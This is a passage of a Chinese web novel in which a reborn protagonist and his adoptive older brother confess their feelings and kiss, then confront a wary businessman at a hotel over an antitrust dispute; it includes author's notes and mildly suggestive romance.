“嗯?我看看啊?”她的声音有些远,估计在翻相册,“单人照很少,我们的合照比较多。怎么了?” 陈一诺换了个话题:“那你现在手机壁纸是什么呀?” 陈宗瑜忽然变得很兴奋:“你怎么知道我换壁纸了?我换成战损版的庄嘉轩。要看吗?” 陈一诺来不及说一个“不要!”,就收到陈宗瑜发来的照片——照片里,庄嘉轩脸上青了一块,手上还缠了纱布。 一看就是揍贺朝风留下的。这颓废痞帅的样子,确实很“战损”。 陈一诺抓抓打湿的头发,若无其事:“挺好看的。那……你会把我或者陈宗礼的照片设置成壁纸么?” 陈宗瑜兴奋的声音消失了,郑重道:“哥,我实话实说,你不要不开心啊!” 陈一诺“嗯”了声,让她赶快说。 陈宗瑜:“我只是喜欢年纪比我大的,但不是兄控!” “虽然,你跟陈宗礼确实比庄嘉轩帅很多,我也特别爱你们。但用你们的照片做壁纸……” “我想都没想过!” 斩钉截铁的回复,让陈一诺瞬间明了,他自言自语地总结道:“啊,明白了。那……你觉得庄嘉轩会把陈宗礼的照片设置成壁纸吗?” “……” 陈宗瑜声音里,忽然带着委屈:“他都没把我的照片设置成壁纸,凭什么把陈宗礼设置成壁纸啊?陈宗礼比我重要吗?” 陈一诺服了这个恋爱脑妹妹,立刻强调:“我只是假设,假设!你还当真了?没人比你更重要!” 陈宗瑜这才高兴了:“假设也不行!我现在就给他打电话,让他把壁纸全部换成我的!” 挂断电话,陈一诺脑子转得飞快。 人会保留跟家人、朋友的合照,但很少保留家人、朋友的单人照。 人会把恋人的单人照设置成手机壁纸,但不会把兄弟的单人照设置成手机壁纸。 当他快要得出最终结论时,陈宗礼从浴室出来了…… …… 陈一诺机械地把手机还给陈宗礼,他瞥了一眼,明白了。转手把手机揣进兜里。 突然间,非常自然地说道:“150万。” 陈一诺愣了,嘴巴合起又关上:“什么?” 陈宗礼笑笑:“你那张签到照,花了我150万。” 不是没想过会被发现,只是发现的时机有些突然。 当秘密再也藏不住时,陈宗礼反而感到了释然,索性一股脑地在陈一诺面前摊开。 陈一诺还是轴,问道:“你是礼尚往来,还是……” 毕竟,陈宗礼的签到照,花了他120w。 陈宗礼的回答坦坦荡荡:“陈一诺,你那么聪明,还猜不到吗?” “就是你心里想的那样。”—— 作者有话说:看看章数,也该在一起了~[坏笑] 第69章 凌晨时分,客厅内安静得落针可闻。窗户缝隙把骤冷的风,压缩只剩“呜呜”的尖叫声,像一只沸腾的开水壶。 高频的鸣叫声,在陈宗礼说完那句“就是你心里想的那样”攀升到峰值。 等陈一诺反应过来,才知道那高频的嗡鸣,是他颅内的声音。 哪怕从酒吧那晚起,他跟陈宗礼之间,已经回不去以前的“兄弟”关系。 但面对陈宗礼毫无缓冲地把他们之间仅剩的窗户纸暴力撕开。 陈一诺只敢站在原地,不敢往前多一步,多看一眼,他害怕揭晓最终答案。 这时,他才意识到,对陈宗礼的感情太复杂。 对他仰慕过,敌对过,依恋过,遗憾过。 在他心中,陈宗礼不只是一个“哥哥”,还是引导他走出茫然的伯乐,让他敬重的对手,深陷囹圄时的救命稻草。 所以,他重生后,像阿拉丁灯神似的,给陈宗礼最好的一切,实现他所有愿望。 没有人比他更知道陈宗礼的好,没人比他更希望陈宗礼过得好。 但,如今陈宗礼喜欢的人是他,这让他瞬间傻眼。 他跟陈宗礼过于复杂的关系在前,接近为零的感情经历在后。这样的基础配置,让陈一诺根本无法分清对陈宗礼的感情,到底是亲情、友情还是爱情。 相反,陈宗礼异常坚定,在被他发现后毫不避讳地让他明白:他的“哥哥”陈宗礼,喜欢他。 陈一诺既受宠若惊,又满心惶恐,他压抑着情绪反问:“我想的哪样?” 陈宗礼一双上斜眼扬了扬,笑了:“还有你不敢想的?行吧,你装傻,我代你想……” 他双手抱肩,视死如归:“你在想,我是不是喜欢你?” 他自问自答:“是!” “一诺,我喜欢你,不是哥哥对弟弟的那种喜欢,是不正经的,赤/裸又纯粹的喜欢。” “听明白了吗?” 陈宗礼的这声“一诺”太犯规,直接让他从脖子红到耳根。 一句没有任何犹豫的“我喜欢你”,更是把他推到悬崖边,避无可避地直面炙热的太阳。 他听明白了,但,为什么呢? 这个从出生就被众人仰视的陈宗礼,站在金字塔尖上的陈宗礼,为什么会喜欢他呢? “陈宗礼……”陈一诺缓慢地喊着他的名字。 “嗯?”陈宗礼忽然坐直,罕见地全身肌肉紧绷着,严阵以待。 “从什么时候开始……”喜欢我的? 他甚至不敢确定地说出“喜欢”两个字。 从陈宗礼的眼神能看出,他没料到陈一诺会问这个。 他想了想:“很难说从什么时候开始,这像是一个循序渐进的过程。” “可能是那次在岚枫山赛车,发现是你扮猪吃老虎赢了我的时候;也可能是你打赌输了,生气咬我的时候;还可能是你开始戴隐形眼镜的那天……你好像一本翻不完的书,总有让我喜欢的地方,这样一点一点叠加,像滚雪球一样,越滚越大,越发不可收拾。” 陈一诺安静地听着他说的每句话,那是陈宗礼嘴里难得的甜言蜜语。 他却感觉有人拿着沾了蜜的钝刀,在他心口上划,甜得发腻,也疼得让人发抖。 很多事,连他自己都快遗忘了,陈宗礼桩桩件件都记得。不但记得,在这一切的进行时,陈宗礼都在喜欢他。 这些天,他一直在思考,重生后到底是哪个步骤触发了“蝴蝶效应”,导致这辈子的陈宗礼对他产生了超出兄弟的感情。 唯独忽略了,陈宗礼不是这辈子喜欢他,他是由始至终都喜欢他。 这么一想,陈宗礼跟他经历过的所有事,都有了全新的视角。 陈一诺15岁时被领养到陈家。 瞒着所有人,去岚枫山赛车赚钱,无意间赢了陈宗礼,还破了他的记录。陈宗礼没有告发他,反而叮嘱他:不能为了赢,不要命。 当他去“斗金”找虐狗人渣报仇,被揍得奄奄一息,陈宗礼把他救走,跟他说:“谁说你是弃犬了,你不是我家的吗?” 知道他想赚钱,干脆用考试打赌,板板他不努力学习的毛病,并且承诺,成绩好带他进天峻的会议室里旁听,还手把手教他如何运营、管理一家公司。 当陈宗礼迫于无奈把他送出国,陈一诺怒吼:“从此以后,我们就是敌人”时,陈宗礼的难过。 发现破产的Wemall,幕后老板是陈一诺时,陈宗礼的后悔莫及。 还有,上辈子得知他入狱,毁婚约也要第一时间救他的心切。 这些贯穿他跟陈宗礼的大事小事,这些时刻,他都被陈宗礼喜欢着。 陈一诺也曾经是万千宠爱于一身的豪门少爷,他也被人爱过。 但在他家道中落,孑然一身,孤苦无依时,爱着他的人是陈宗礼;在他们之间误会重重,依然爱着他的人也是陈宗礼。 什么生离死别,人情冷暖,他都尝过了。唯独不知道原来被人这样默默爱着是这种感觉。 “你……” 张嘴的同时,眼泪先一步抢跑,接着像开闸似的溢出眼眶,顺着两颊往下流。 陈一诺难受地摘下眼镜,噙着泪问他:“你怎么能忍了那么久,多难受啊。” 陈宗礼的大手抚上他的脸颊,晶莹的泪水被他仔细收入掌心。 他低沉着声音,像在哄人:“我本来以为忍得了。” “可自从你回港城,我们同吃同住,朝夕相处地工作,还经历了那么多……” “很多不该有,压抑着的情感,就止不住的翻了上来。” 原来如此。 跟上辈子最大的区别,就是他重回港城,回到陈宗礼身边。 在这个改变的基础上,那些被强行压制的情感,像罐装的气泡水,每一次接触,每一个误会的解开,汽水就被摇晃一次。到最后,瓶内的二氧化碳快速聚集,在扭开瓶盖的刹那,再也忍不住,喷涌而出。 如同陈宗礼的爱意,克制不住地暴露在陈一诺面前。 而上辈子直到死,他们之间的误会都未曾解开。这段禁忌的感情,像触礁的沉船,随着陈宗礼的死,永沉深海,不见天日。 想到这份来不及说出口的喜欢,陪陈宗礼死过一次,陈一诺更替陈宗礼觉得难受。 眼泪止不住地留,到最后,陈一诺哭得浑身发抖,双手抱头。 他一直以为自己是“弃犬”,却从不察觉有人默默爱了他,很久很久…… 没想到,在可怜的赛道里,他居然输给了陈宗礼。 他可是陈宗礼啊。 …… 陈宗礼不知道他心里想的这些,被他的反应吓得手足无措。 心头压抑着沉,觉得自己又回到了那条隧道,那条无论怎么走,都走不到陈一诺面前的隧道。而如今,在他的非常规操作下,正在坍塌。 他稳定住情绪,坐到他身边,有节奏地拍拍他的肩膀,看他没把自己推开,才敢低声问:“被哥吓到了?” “我没有逼你答应的意思。你不喜欢也没关系。我还是你哥,你还是我……” “弟”字没说完,眼前一黯,身上多了一具温热的,带着柚子味的身体。 陈一诺跪坐在他身上,双手贴着他的脸颊。他不解地,打量着陈一诺,他的眼睛、鼻尖都是红的。商场上说一不二的狠绝,在他面前只剩楚楚可怜。 本来一潭死水的心,像被投入了石头,静谧的湖面被打破,从中心向外荡漾成圈圈涟漪。 陈宗礼把没说完的说完:“哪怕你不喜欢我,依然是我弟,这一点,永远不会变。” 陈一诺弓着腰,哑着声音:“我没喜欢过人,但我想试试……” 行动比语言更直接,他用自己的红鼻尖触碰陈宗礼冰凉的鼻尖,嘴唇之间隔了不多不少一指的距离。 这个距离勾起了他们共同的回忆——在酒吧包间的那一夜,那份未完待续的暧昧。在地球另一端的公寓有了续集。 他们鼻尖相抵,安静地交换着几个呼吸,陈宗礼小心翼翼地抚上他的颈侧,忽地用力收紧,轻轻按压,把仅剩的距离归零。 滚烫的唇吻上陈一诺的,蜻蜓点水,一触即分。 接触的瞬间,他能感受到陈一诺身体不受控的轻微颤栗,手中的颈侧动脉跳得飞快,但陈一诺没把他推开。手搭在他肩上,眼里雾蒙蒙的,钩子似的引着陈宗礼继续。 收到信号的陈宗礼彻底打开开关。他加重手上按压的力度,再次吻了上来,右手箍上陈一诺的腰,上下形成枷锁。 既然陈一诺束手就擒了,他便再不给他逃的机会。 第二个吻,陈宗礼像换了个人。 吻得极其凶猛,把他的唇珠吸/吮至通红,在陈一诺受不了发出轻喘时,舌尖乘虚而入,迫不及待地汲取更多属于陈一诺的味道…… 如果陈一诺不知道什么是喜欢,当“哥哥”的不介意以身作则,告诉他,如何展示自己的喜欢。 …… 客厅的电子表,数字跳转,显示时间:5:20。 初冬的风吹起了白纱窗帘,它像一名孤独的舞者,扬起轻盈的裙摆。让微微亮起的晨光透过缝隙,把客厅照亮。 沙发上两个人影重叠,旖旎暧昧的水声此起彼伏,在陈一诺感觉要失控之前,推开陈宗礼,慢慢调整呼吸。 陈宗礼挑眉看陈一诺唇上的水痕,失序的目光收敛起来,他调整着自己的呼吸。 问道:“你说,你没喜欢过人,那你说,兄弟之间会接吻吗?” 虽然,亲也亲了,抱也抱了,但陈一诺自己的心意,陈宗礼没法逼他,他揉着他的卷发,等他自己想明白。 陈一诺已经不哭了,水汪汪的眼睛看着陈宗礼,刚刚亲得忘了情,睡衣扣子被蹭掉两颗,露出细长的锁骨。 他瓮声瓮气道:“不会……” 陈宗礼笑了:“我倒觉得你可能会。” “毕竟,你抱过我,也说过喜欢我,不想离开我。你说,这是兄弟之间会说的话么?” 这话说出来,陈一诺先是觉得臊,内心骂不争气的自己:陈一诺,你看看你啊…… “知道自己多烦人了吧?”陈宗礼看出了陈一诺的别扭,捏捏他的鼻子,调侃道:“我再问你,如果你不喜欢我,跟我接吻后,会有反。应。么?” 没等他回答,陈宗礼先自问自答:“反正,如果我跟庄嘉轩接吻,我只有一种反。应。” “揍他的反。应。” 扶着陈一诺腰侧双手忽然用力,抱着他整个往前蹭了蹭。 陈一诺瞪大眼睛,具像化的反/应和蛊惑的声音同时传来。 “但我跟你接吻的反/应,陈一诺,感受到了吗?”—— 作者有话说:作者此时是一个开水壶!![竖耳兔头][竖耳兔头] 第70章 在力量方面,陈一诺根本不是陈宗礼对手。 身体不稳,失控地往前栽,触碰到陈宗礼时,瞬间明白他让自己感受什么。 “唰——”脸全熟了。 念书的时候,他也曾经跟陈宗礼像青春期的男生一样调侃彼此的发育情况。但陈宗礼跟他表白后,一切都变了。 他第一次把陈宗礼当一个“男人”,而不是“哥哥”。 他着急地抵着陈宗礼的肩,不让他靠近:“可以了可以了,我知道了!” 山不就我,我来就山。 被拒绝的陈宗礼主动俯身靠近陈一诺,相互贴着,下巴搭在他肩上,声音带着笑:“嗯,我也感受到了……” 陈一诺被吓坏了,没想到,陈宗礼能脸不红,心不跳地说出这句话。 他的手挡住被陈宗礼腹部抵住的位置,说道:“陈宗礼……你怎么这样?!” 陈宗礼笑笑,眼神盯在他的后脖,手指点了点结痂的圆:“还疼吗?” 那是他用雪茄留下的烟疤。 陈一诺摇头:“没感觉了。” 陈宗礼稍微放松核心往后靠,炙热的目光逮住他的嘴唇,吻不够似的,忽然追上去又浅吻了一下,才一脸餍足地松开他。 手支着脑袋,在微亮的日光中打量陈一诺:“一诺,我们接了吻,对彼此有反/应。” “你现在,还把我当哥哥吗?” 陈一诺看着陈宗礼,其实,当他们之间最后的距离消失时,他就知道,这段“兄弟”关系再也回不去了。 他们重生人不扭捏,喜欢就大大方方的。何况他肯定拯救了银河系,不然怎么能让陈宗礼暗恋他两辈子!他要是再搞虐恋那一套,死后估计会下地狱。 想通之后,他伸出双手抱紧陈宗礼,仿佛这个拥抱是一个仪式。 他对着陈宗礼的耳朵郑重道:“今天开始,哥哥陈宗礼下线,男朋友陈宗礼上线。” “陈宗礼,我也喜欢你的。” 陈宗礼被耳畔的话震了震,作为回应,双手用力回抱陈一诺。 那条在他心中永远走不到头的隧道,忽然缩短距离,从光斑变成另一个世界,最终,他走出隧道,牵上陈一诺的手。 气氛正浪漫着,陈宗礼莫名其妙问道:“腿软么?” 陈一诺一愣:“什……什么?” 挂在腰上的双手,缓慢移到跪在身侧的小腿。只捏一下,陈一诺身体猛然坐直,弹射似诗图扭动、闪躲。 他不可思议地按住陈宗礼的手:“你干嘛?!” 陈宗礼没想到他那么敏感,手放回腰侧,一字一句念道:“史上最强!Kiss到他腿软的激吻技巧!” “自己发的东西,怎么总记不住?” 他不是记不住,是扛不住陈宗礼又拿来连续创他两回! 陈一诺“啊……”地反应了一下,无奈地喃喃:“这件事过不去了?” 陈宗礼手肘撑在沙发靠背,歪头看着他:“过不去,说啊,腿软了没?” 不知道是热的,还是害羞的,陈一诺那张脸红得发烫。 说实在的,每次陈宗礼吻他的时候,别说腿软了,全身的骨头都是酥的…… 可为了一些无用的男人面子,他还是嘴硬道:“还……还行。” 陈宗礼扬起嘴角,灼热的唇覆吻上他的喉结,低声道:“看来还没学会……” “下次,下次一定亲到你腿软。” …… 陈一诺醒来的时候,时间显示下午14点25分。 宿醉让他脑袋非常难受,他揉了揉太阳穴,没有改善。 昨晚……啊不,今天凌晨他是怎么上床睡觉的,他全忘了,只记得迷迷糊糊被陈宗礼抱着回房间。 他手摸了摸旁边的位置——空的,冷的。 他猛然从床上坐起,视线第一时间看向床边的空位,心里的疑惑,像葫芦娃救爷爷似的,一个接一个。 昨晚陈宗礼到底有没有来过? 他们是不是表白了? 真的接吻了?! 真弯了?! 遇事不决,求助场外观众。 他掏出手机,按亮屏幕——只见,价值120w的“陈宗礼的微笑”在他手机里,向他温柔问好。 他把手机前后翻了翻,确认是自己手机。是谁热衷“情侣款”,答案呼之欲出。 这时,“当事人”陈宗礼的语音打进来,他立刻按了接听。 “醒了?” 不等他出声,陈宗礼带着笑的声音,通过电波从话筒传来。让人光听着就觉得外面必定阳光明媚。 陈一诺局促道:“嗯……刚醒。有些头疼。你……” 陈宗礼:“我在分公司,刚结束一个回忆。陈宗瑜说,李家纯恰好今天到A国,要跟他聊聊么?” 陈一诺在A国一周,为了忙反垄断的事,焦头烂额,李家纯这只老狐狸像隐身似地,影子都抓不住。陈宗礼一来,他突然现身了?! 陈一诺顿时神清气爽,什么宿醉的全好了,感情上的疑惑抛诸脑后,眼下工作最重要。 他嚷道:“要!我现在就换衣服!” …… 半小时后,一辆玛萨拉蒂缓缓停靠LS酒店门口。 陈一诺和王之初从车上下来,两个人的打扮南辕北辙,仿佛处于两个季节。 昨晚,A国忽然降温。 陈一诺跟陈宗礼抱了一晚,一点不觉得冷。加上对温度不敏感,穿着衬衫加卡其拼色短风衣就出门了。 下了车,风衣被猛烈的北风吹得直接卷在身上,冷得直打哆嗦。 王律师则非常养生,西装外裹着一件厚羽绒,像个臃肿的面包。 下车的位置跟酒店门口还有一段距离,冻成冰棍的陈一诺只能求救老王。 王之初被他从左边拽到右边,一脸茫然问道:“干嘛?有记者?” 陈一诺蜷缩在他羽绒服旁边,骂骂咧咧:“别动,给我挡挡风!” 王之初这才发现,陈一诺把他怼到风口位,当挡风墙。他托托眼镜,懒得计较。 “上午,莫多里的律师告诉我,FTC已经接受我们的申请,同意让我们调取奥莱集团收购相关文件。听说奥莱的老板震怒。打电话给莫多里骂了一通,把老头子乐坏了。” 陈一诺双手拉紧风衣的衣领,不让风往里钻,瓮声道:“他俩怎么玩,我不管。但莫多里对繁星TV的收购必须进行下去。” “要是莫多里觉得这仗打得太麻烦,多一事不如少一事,干脆收购取消。那才是我们头疼的事。” “所以,如果李家纯能帮忙当说客,大事化小,那才是上策。” 王之初看了眼蜷缩着的陈一诺,当初,陈一诺把他从港城喊去A国,给一星当法务的时候,他根本不甘心,觉得自己被低估了。 他曾经的同桌,曾经成绩垫底的转学生,成了他老板,说服气那是说谎。 可时间久了,他也不得不佩服,陈一诺成为老板是必然的。 他天生不是只会低头看路的人,他永远知道什么时候要抬头看天空,所以永远比旁人多看几步。 别看只是短短几步,在岁月长河里,已经足以超过80%的凡人了。 …… 走进酒店的旋转门,暖气扑面而来,让冷成冰棍的陈一诺瞬间得救。 他在酒店大堂扫了一眼,就看见坐在咖啡厅的陈宗礼。 有心灵感应似的,陈宗礼刚好抬头,也看见了他。 陈一诺意识到自己的还拽着王之初,“男德”基因忽然爆发。他触电似的收回手,还往旁边移开半步。默默地跟老王划清界限。 一切动作做完了,才朝敢再次看向陈宗礼。 陈宗礼嘴上没表情,可陈一诺看出他眼里盛着的笑意。 这下,心别说暖了,都出汗了。 明明,以前他看见陈宗礼的时候也开心。可现在,看见哥哥的那份开心消失了,只剩下看见恋人的开心。 陈一诺忽地明白:心花为什么要怒放。情人眼里怎么就出西施。 因为,看见情人的那一刻,你的身体就会暴风似的卷入多巴胺,整个人激动得像坐过山车。恨不得重新出去酒店门口吹吹冷风,冷静冷静。 王之初的眼镜进酒店后,因为骤热蒙了一层雾气,等白色的雾气消散,才看清陈一诺脸上诡异又红温的表情。 顺着他的视线看了看,没看出个所以然,张开手在他面前晃了晃。 “你……看见什么了,脸红成这样?” 陈一诺拨开他的手,察觉自己失态,连忙道:“啊,外面那么冷,冻红了呗。走吧,陈宗礼在那边!” 王之初这才看清见陈宗礼的脸,他滞了滞。心想,不是去见李家纯么?陈宗礼怎么会出现在这里? 犹豫间,他老板一阵龙卷风似的,从他身边擦过,下一秒,已经从他这边,瞬间转移到陈宗礼面前。 王之初挠挠头,人活得久,真是什么世面都见过。以前仇人见面分外眼红的两兄弟,现在见恋人似的粘粘糊糊…… …… 陈宗礼看着陈一诺走过来,小卷毛要是有尾巴,此刻估计能甩成爆旋陀螺。 对方跑到他面前,嘴角快要咧到后脑勺:“哥!等很久?” 陈宗礼的反应倒是没那么热烈,他目光上下打量着,问道:“穿成这样就出门了?” 语气带着责备,转身把椅背上的羊绒西装外套披在他身上,还细心地替他整理着衣领。 陈一诺不好意思说激动得出汗了,欣然接受了陈宗礼……啊不,男朋友的外套。 学生时代就见过女生穿男朋友外套的,他也幻想给女朋友准备外套。 谁曾想,嘿,他自己先体验这种待遇了。 “出门太着急,上了车才知道降温。刚刚冷死我了。” 他把陈宗礼的外套裹紧,想到自己身上会留下陈宗礼的味道,就狠不得多裹裹。 “对了,昨晚没看你带行李呀,厚外套哪儿来的?” 陈宗礼眼睛一眨不眨地在他旁边坐下:“行李让司机放公司了,刚刚回公司顺便去取的。” 一想到,陈宗礼下飞机后,迫不及待到公寓找他,心里居然冒出一句:这该死的甜蜜。 嘴上却故意道:“还以为,你在LS订了房呢。” 陈一诺翘起尾巴,陈宗礼就知道他要干嘛,睨着他:“你家不让住?行啊,我找李思维订一间。” 陈一诺立刻怂了:“没有不让住……浪费那钱干嘛。” 身价千亿的陈宗礼,淡淡笑了:“对嘛,能省就省。” 说着把桌上另一杯咖啡推到陈一诺面前,陈一诺连什么咖啡都没问,张嘴就喝。 “嗯,这里咖啡不错,够甜。” 陈一诺吃喝的审美只有甜,和其他。陈宗礼只能无奈地应声:对。 陈一诺这才想起王之初,招呼:“老王,别站着呀,坐!” 王之初惊慌失措地坐下,左瞧瞧冷脸看财报,偶尔抬眼看看陈一诺的陈宗礼。 右瞧瞧裹在大衣里,满足两眼冒星星的陈一诺。 明明是三个人的约会,两兄弟贴在一起密不透风,他坐在对面,硬是把圆桌做成四人位。 心里一个很危险的猜想,不敢说出口。 陈一诺喝完咖啡还叫了一个蓝莓玛芬,吃饱喝足,看看时间,问陈宗礼:“我们约了李家纯几点?” 陈宗礼手指擦掉他脸上的玛芬屑:“我只收到消息,他今早下榻LS,我打算直接来堵人,约他时间,他反而要跑。” “也对”陈一诺点头,最近他总是找不到李家纯。想来是故意躲着他。 陈宗礼淡淡道:“我来的时候,他已经在这里呆了2小时。我的人说他没离开,应该还在酒店里。” 陈一诺点头:“我也让保镖盯着了,万一他们要走,我们立刻冲过去。” 陈宗礼看了他一眼:“你要做好心里准备,他未必愿意帮你。” 陈一诺摸摸鼻尖:“我知道。愿意最好,不愿意,我们也有后手。” 话音刚落,一群人从电梯涌出,陈宗礼上斜眼忽地眯了眯,说道:“来了。”—— 作者有话说:哎,就抱抱而已啊……咋过不了审[捂脸偷看]魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 70-80 第71章 陈一诺“chua”脱掉肩上的羊绒外套,从座位站起,对陈宗礼说:“哥,你等着,我把人带过来!” 说完猎豹似的冲到人群里,径自朝李家纯的方位开始狩猎。 李家纯早有预料,保镖比平时带得还多,走起来像一堵移动的人墙。陈一诺像猛豹落入森林,一头扎进去,就不见踪影。 王之初坐立不安地看着,紧张地问道:“宗礼哥,你……我们……不过去看看吗?” 陈宗礼淡定地喝着咖啡,完全没有要起身的意思。 王之初看着他手里的咖啡……迟疑地在想,这杯不是陈一诺的吗? 心里嘀咕,这两兄弟身家加起来上千亿,不舍得住酒店,也不舍得多买一杯咖啡……那么节省,难怪能当有钱人呢! 转头又骂自己:什么时候了管豪门总裁消费观?!赶紧担心担心陈一诺!那才是你的饭碗! 于是,注意力又转向陈一诺身上。 这时才发现,陈一诺不但成功钻进人群,还呼朋引伴让聂加带着几个保镖,簇拥在自己身边,跟李家纯的保镖形成对峙的姿态。 最近,李家纯就躲着陈一诺。本想低调到酒店办完事就走,没想到在酒店大堂就遇到了陈一诺的围堵。 本以为仗着保镖多,可以把人堵在人墙外,结果不但没堵成,还被对方堵了回来。 通往大门的通道被陈一诺堵了,眼看逃不掉,李家纯只好装傻,走上前问保镖:“怎么了这是?” 挡在前面的保镖让出通道,陈一诺也扬起虚伪的笑容,迎上来:“李叔,是你呀!” 陈宗礼扬着嘴角,笑着两人的戏一个比一个好。 李家纯盯着陈一诺,皮笑肉不笑:“一诺?好巧啊!” 陈一诺不装了,直接出击:“不巧,专门等你的。方便去那边咖啡厅坐着聊一会儿么?” 李家纯朝咖啡厅看去,刚好跟陈宗礼那双上斜眼对上,对方还朝他挥了挥手。 老狐狸心里盘算着,他可以不卖陈一诺的面子,陈宗礼的面子还是要卖一卖的,毕竟也算“准女婿”。 半晌,只能勉为其难道:“哦,宗礼也在啊?行吧,我们聊10分钟。” 陈一诺当然知道他态度的转变,十有八九因为陈宗礼,心里不爽利,脸上还是笑的。 他后退半步,给李家纯让出一条路:“哪用10分钟,5分钟就够了,这边请吧。” …… LS酒店大堂的咖啡厅门口,陈家和李家的保镖围了一圈。 咖啡厅被陈一诺包了场,客人全被请了出去。他们选了中间的咖啡桌,三个人坐成一个三角形。 李家纯翘起二郎腿看着他们,上来就摆出长辈训话的架子:“羽南港不是开始动工了吗?听说之前还有村民闹事,正是离不开人的时候,你们都跑来A国,羽南港岂不是没人管了?” 陈一诺发现李家纯,真的很喜欢“随地大小爹”,见着人总想语重心长地教育两句,就他会当爹。 陈一诺知道求人不易,只能低声下气:“哎呀,我们也知道羽南港重要。但这边不是出问题了吗。李叔应该有所耳闻,奥莱集团向FTC申请对时代集团进行反垄断调查。” 李家纯点头,眼神有些闪烁:“听说过一些,他们两家也不是第一次这样闹了。” “怎么?对你们有影响?” 话说出口,像记忆被唤醒似的,自问自答:“哦,莫多里收购了你们繁星TV,所以,这次调查对你多少有影响吧……” 陈一诺心里恨不得起立给老狐狸的精湛演技鼓掌,这反应,演得跟真不知道一样。 压住心里扒他狐狸皮的想法,说道:“可不吗,我知道李叔跟奥莱集团的CEOFrank交情不错,希望您帮忙牵牵线,让我们跟Frank见面聊一聊,看中间有什么误会……” “能私下解决的事,就没必要惊动FTC……” 李家纯正经危坐,不苟言笑:“一诺,实话实说啊。Frank是我朋友没错,但他跟莫多里积怨很深,多年宿敌了。我们虽然是老友,也没立场对他的生意指手画脚呀。” 说完,看看一直沉默的陈宗礼:“宗礼,你说是不是?” 老狐狸先摆明立场,告诉陈一诺他帮不上忙,又点了陈宗礼,让他适可而止,别给“弟弟”盲目撑腰。 陈宗礼一个晚辈,终日跟这群老狐狸周旋,早就练得十分圆滑。 他淡笑:“一诺啊,李叔向来很有边界感,为人也很仗义,难怪商场上德高望重,去哪儿都能呼朋引伴的,能帮肯定帮的。” 陈宗礼这种身份地位长起来的太子爷,能说出几句吹捧的话,谁听着都能舒服。李家纯连忙摆手,假谦虚说:“那是当然,我最喜欢提携你们这些后生了。” 陈宗礼看他放下戒备,继续道:“譬如,前段时间,我听说,李叔跟Frank吃饭,Frank聊起对东南亚市场感兴趣,李叔立刻把HT电视台推荐给他。这种张嘴就递资源的朋友,真是不可多得。” 这话一出,李家纯和陈一诺的脸色顿时变得很微妙。 说好的,不给朋友的生意指手画脚。人家一说有意愿收购电视台,他转头就把资源丢出去了,还刚好是跟贺家有关系的电视台。 陈一诺立刻意会,阴阳怪气:“还有这事?那确实够朋友。” 李家纯继续摆手:“小道消息,瞎说,都是瞎说……” 没给陈宗礼反驳的机会,他看看手表,装作着急:“时间差不多,我还有会议。一诺对不起啊,李叔真帮不了你!等你们回港城,叫上思维,李叔请你们吃饭!” …… 李家纯带着他的保镖,浩浩荡荡离开LS酒店后,咖啡厅内,陈一诺的脸色可谓难看至极。 王之初凑过去试图安慰:“一诺,你别生气。宗礼哥也提醒过,李家纯不帮忙是情理之中。” 陈一诺冷笑:“他不帮忙是情理之中,但他故意惹出反垄断这事儿,你让我怎么冷静?” 王之初懵了:“什……什么意思?” 陈一诺半晌没说话。 王之初急了:“我只是一个律师,不是巫师,猜不出你们心里想什么,能不能讲明白一些?” 陈宗礼开口:“奥莱集团的主战场一直在A国和C国,Frank从没想收购东南亚电视台。但自从莫多里收购繁星TV,撞上这几年东南亚经济腾飞,莫多里收购繁星TV只一个季度,财报往上翻了一倍。Frank就坐不住了。也想分一杯羹。” 王之初拍手:“分就分呗,东南亚市场那么大,莫多里收购繁星,Frank收购HT,分庭抗礼不是挺好?” 陈一诺忍不住凑近他:“你第一天出来混吗?做生意的,全是奔着你死我亡去的。东南亚的蛋糕明明是莫多里先切的,为什么要让给Frank?!” 王之初恍然:“所以,奥莱才想到违反垄断这招……我去,反垄断是这么用的吗?!” 陈一诺:“道理上,当然不能这么用。问题是,李家纯从来不碰传媒业务,也不爱管闲事,怎么就偏偏蹚这波浑水呢?” 他自觉看向陈宗礼:“哥,你怎么看?” 陈宗礼双手抱肩,很直接:“没想法。但我这边有消息,最近李家纯频繁到A国,行程非常低调。问题是,宏发集团在A国却没什么重要业务,这个举动挺奇怪的。” 王之初:“贺朝风用假画洗钱,在C国揪出了不少ZF官员。好几个项目喊停,李家纯也陪着亏钱,是不是因为这个,才来A国找商机?” 陈宗礼摇头:“李家纯发家致富全靠抱大腿,以前抱我爷爷大腿,晋升到四大家族,后来,抱贺家大腿,把生意版图拓展到C国和内地。” “除非A国有哪条大腿给他抱,否则,人生地不熟,他不可能冒险开拓新商机。” 李家纯的行为让人疑惑,反垄断的说客也黄了。 陈一诺叹了口气:“行吧,我继续找人盯着他,看看他来A国到底干什么。” …… 看时间差不多,他们刚准备离开LS酒店,咖啡门口传来吵闹声。 还没见到人,先听见的一把尖锐的女声,嚷嚷:“Roger,你们酒店怎么回事啊,咖啡厅不让进?” 叫Roger的估计是个打工人,他礼貌道:“Linda小姐想喝什么,我让厨房准备。今天咖啡厅有活动,不方便您进去。” 叫Linda的女人显然对这个说法不满意,不依不饶:“我从咖啡厅绕去海边透透气可以吧。” 这家LS酒店的主题是粉沙滩,选址在A国一片未开发的粉色沙滩旁。拥有只供住客享用的私人沙滩和无敌大海景。 看见女人还想硬闯,聂加说话了,这狐狸眼一点不客气。 “小姐,不好意思,这咖啡厅被我老板包场密谈,闲人免进。” 女人蹭地生气了,怒气冲天:“你说谁是闲人?你知道我是谁吗?!” 聂加如实地气人:“抱歉啊女士,我真不知道你是谁。” Roger明显左右为难,他跟女人说:“Linda小姐,你想去海边,我可以带你从另一条路过去……” 言下之意,还是婉拒她进咖啡厅。 女人继续不满,不依不饶地:“来都来了,为什么让我走别的路?再说万一多走的几步,我摔了怎么办?你担得起责任吗?!” 陈一诺走到咖啡厅隔断后面,透过隔断的缝隙,看见这个“Linda”——外貌算是传统意义上的美女,波浪卷发,标致五官,穿着低胸碎花长裙,对自己身材超级自信。 “在看什么?” 一把低沉的声音从背后覆上,带着一层温热的气息。紧接着一只大手揽上他的腰,温热瞬间升级成高温预警,只一个动作,陈一诺后颈就渗出一层薄薄的汗。 陈一诺吞了口口水,哑着声音:“别闹,老王要看见了!” 陈宗礼蹭在他耳边说:“他去外面接电话。让你走的时候喊他。快说,看什么?” 陈一诺抬抬下巴,指着的女人方向:“在看那个女人,叫Linda,说了包场还要硬闯进来,怀着孕还要喝咖啡,好久没见过那么跋扈的女人了。” 陈宗礼摇头:“没认识。” 